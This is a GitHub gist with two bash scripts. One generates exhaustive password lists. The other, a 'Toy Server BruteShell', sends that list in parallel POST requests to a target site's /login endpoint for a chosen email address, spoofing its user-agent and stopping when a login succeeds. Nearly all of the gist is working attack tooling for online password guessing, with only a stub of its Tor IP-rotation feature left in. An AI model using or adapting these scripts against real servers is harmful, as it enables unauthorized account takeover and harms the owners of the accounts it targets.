Last active
June 21, 2025 12:56
-
-
Save isocroft/bf3027c7cafdb21c0e011fb37a0dca92 to your computer and use it in GitHub Desktop.
A bash script for generating all possible unique passwords for brute-forcing a web servers' login endpoint without adequate security protections
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/bin/bash | |
# BrutePassGen v1.0 | |
# Coded by: github.com/isocroft | |
# X: @isocroft | |
# @INFO: A very minimal yet specific `readarray`-like implementation using `read`. | |
# @INFO: Older versions of bash (v3 and below) do not support `readarray` or `mapfile`. | |
if ! type -t readintoarray >/dev/null; then | |
# @NOTE: Does NOT work with lines that contain double-quotes due to the use of `eval()` here. | |
# @NOTE: Ensures the use of glob patterns (e.g. *) without issues like reading directory file names. | |
readintoarray() { | |
local cmd opt t v=MAPFILE | |
while [ -n "$1" ]; do | |
case "$1" in | |
-h|--help) echo "minimal substitute readarray for older bash"; exit; ;; | |
-r) shift; opt="$opt -r"; ;; | |
-t) shift; t=1; ;; | |
-u) | |
shift; | |
if [ -n "$1" ]; then | |
opt="$opt -u $1"; | |
shift | |
fi | |
;; | |
*) | |
if [[ "$1" =~ ^[A-Za-z_]+$ ]]; then | |
v="$1" | |
shift | |
else | |
echo -en "${C_BOLD}${C_RED}Error: ${C_RESET}Unknown option: '$1'\n" 1>&2 | |
exit | |
fi | |
;; | |
esac | |
done | |
cmd="read $opt" | |
set -o noglob | |
eval "$v=()" | |
while IFS= eval "$cmd line"; do | |
line=$(echo "$line" | sed -e "s#\([\"\`\$]\)#\\\\\1#g" ) | |
eval "${v}+=(\"$line\")" | |
done | |
eval "${v}+=(\"$line\")" | |
} | |
fi | |
generate_permutations() { | |
local -a symbols_arr=($1) | |
local id_length=$2 | |
local num_symbols=${#symbols_arr[@]} | |
# @HINT: Initialize with an empty string if ID length is 0, or single symbols if ID length is 1 | |
if (( id_length == 0 )); then | |
echo "" | |
return | |
elif (( id_length == 1 )); then | |
for symbol in "${symbols_arr[@]}"; do | |
echo "$symbol" | |
done | |
return | |
fi | |
local -a current_ids=() | |
for symbol in "${symbols_arr[@]}"; do | |
current_ids+=("$symbol") | |
done | |
# @HINT: Iteratively build IDs of increasing length based on permutations | |
for (( len=2; len<=id_length; len++ )); do | |
local -a next_ids=() | |
for id in "${current_ids[@]}"; do | |
for symbol in "${symbols_arr[@]}"; do | |
next_ids+=("$id$symbol") | |
done | |
done | |
current_ids=("${next_ids[@]}") | |
done | |
length=${#current_ids[@]} | |
for id in "${current_ids[@]}"; do | |
#echo "$id" | |
echo -e "$id\n" >> passwords.lst | |
done | |
printf "\r\n\n" | |
echo "Total number of passwords generated: $length" | |
printf "\r\n" | |
} | |
if [[ $1 == "--help" || $# -lt 2 ]]; then | |
echo "Usage: $0 <symbols_file> <id_length>" | |
echo " <symbols_file>: Path to a file containing unique symbols/characters, one per line." | |
echo " <id_length>: The desired length of the unique passwords to generate." | |
exit 1 | |
fi | |
symbols_file="$1" | |
id_length="$2" | |
if ! [[ "$id_length" =~ ^[1-9][0-9]*$ ]]; then | |
echo "Error: ID length must be a positive integer." | |
exit 1 | |
fi | |
if [[ "$symbols_file" != *.txt ]]; then | |
echo "$symbols_file is not a text file. Please supply a text file" | |
exit 1 | |
fi | |
if [[ ! -f "$symbols_file" ]]; then | |
echo "Error: File '$symbols_file' not found." | |
exit 1 | |
fi | |
# @HINT: Map every symbol/character on each line in the file into respective array index for: 'unique_symbols' | |
readintoarray -t unique_symbols < "$symbols_file" | |
# @HINT: Check if the symbols array (from the symbols file) is empty | |
if (( id_length > 0 )) && (( ${#unique_symbols[@]} == 0 )); then | |
echo "Error: No symbols found in '$symbols_file'. Please ensure the file contains symbols/characters, one per line." | |
exit 1 | |
fi | |
echo "Generating unique passwords of length $id_length using symbols from '$symbols_file'..." | |
echo "Symbols available: ${unique_symbols[*]}" | |
echo "--- Passwords Generation Started ---" | |
# @HINT: Convert array to a space-separated string for passing to function. | |
# @INFO: This is a common way to pass arrays in bash when functions don't explicitly take array references. | |
IFS=' ' symbol_string="${unique_symbols[*]}" | |
generate_permutations "$symbol_string" "$id_length" | |
echo "--- Passwords Generation Completed ---" |
#!/bin/bash
# Toy Server Bruteshell v1.0
# Coded by: github.com/isocroft
# X: @isocroft
trap 'exit 1' 2 # SIGINT signal
trap 'echo "Error: Terminating script...";exit 1' ERR
checkroot() {
if [[ "$EUID" -ne 0 ]]; then
printf "\e[1;91mError: This script must be run as root (i.e. use 'sudo').\n\e[0m" >&2
exit 1
else
printf "\e[1;77mStarting up...\n\e[0m"
fi
}
function changeip() {
#killall -HUP tor
echo "The tor proxy is not available for use" >&2
exit 1
}
dependencies() {
# Check if dependencies needed are installed
#command -v tor > /dev/null 2>&1 || { echo >&2 "I require tor but it's not installed. Run ./install.sh. Aborting."; exit 1; }
command -v curl > /dev/null 2>&1 || { echo >&2 "I require curl but it's not installed. Run ./install.sh. Aborting."; exit 1; }
}
banner() {
# print graphic banner
printf "\e[1;36m _ _ ______ "
printf "\e[1;36m _| || |_ |......| "
printf "\e[1;36m |_ __ _| | |_| | "
printf "\e[1;36m _| || |_ | |_| |...| "
printf "\e[1;36m |_ __ _| | |\ \/|...| "
printf "\e[1;36m |_||_| \_/ \//// "
printf "\n"
printf "\e[1;77m\e[44m Toy Server BruteShell v1.0 Author: @isocroft (Github/X)\e[0m\n"
printf "\n"
}
function start() {
banner
checkroot
dependencies
read -p $'\e[1;92mEnter server full url (origin): \e[0m' url
# Check that the server can be receive connection from a client
checkserver=$(curl -L -s $url | grep -i -c "sorry, ")
if [[ "$checkserver" == 1 ]]; then
printf "\e[1;91mServer Not Found\e[0m\n" >&2
sleep 1
start
else
default_wl_pass="passwords.lst"
read -p $'\e[1;92mPassword List File Path (Press <Enter> to use default list): \e[0m' wl_pass
wl_pass="${wl_pass:-${default_wl_pass}}"
default_threads="10"
read -p $'\e[1;92mEnter number of threads to use (Use < 20, Default 10): \e[0m' threads
threads="${threads:-${default_threads}}"
fi
}
function attack () {
#Extract the number of passwords from the passwords file
count_pass=$(wc -l $wl_pass | cut -d " " -f1)
uagent="Mozilla/5.0 (Series40; NokiaX2-02/10.90; Profile/MIDP-2.1 Configuration/CLDC-1.1) Gecko/20100401 S40OviBrowser/1.0.2.26.11"
token=0
result=0
startline=1
endline="$threads"
read -p $'\e[1;92mEnter email address for server login page: \e[0m' email
while [ $token -lt $count_pass ]; do
# Read password from line 1 to the number of threads from the passwords file
# See:https://myshell.co.uk/blog/2012/07/sed-unix-stream-editor-cheat-sheet/
for password in $(sed -ne ''$startline','$endline'p' $wl_pass); do
let token++
{(trap '' SIGINT && result+=$(curl --parallel -L -s "$url/login" -A "$uagent" -X POST -H 'Content-Type: application/json' -d '{"email":\""$email"\","password":\""$password"\","remember_me":true}' | grep -i -c "successful login"))} & done; wait;
if [[ "$result" -gt 0 ]]; then
printf "\r\n\n"
echo "Login successful"
exit 0
fi
let startline+=$threads
let endline+=$threads
done
}
start
attack
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment
Uh oh!
There was an error while loading. Please reload this page.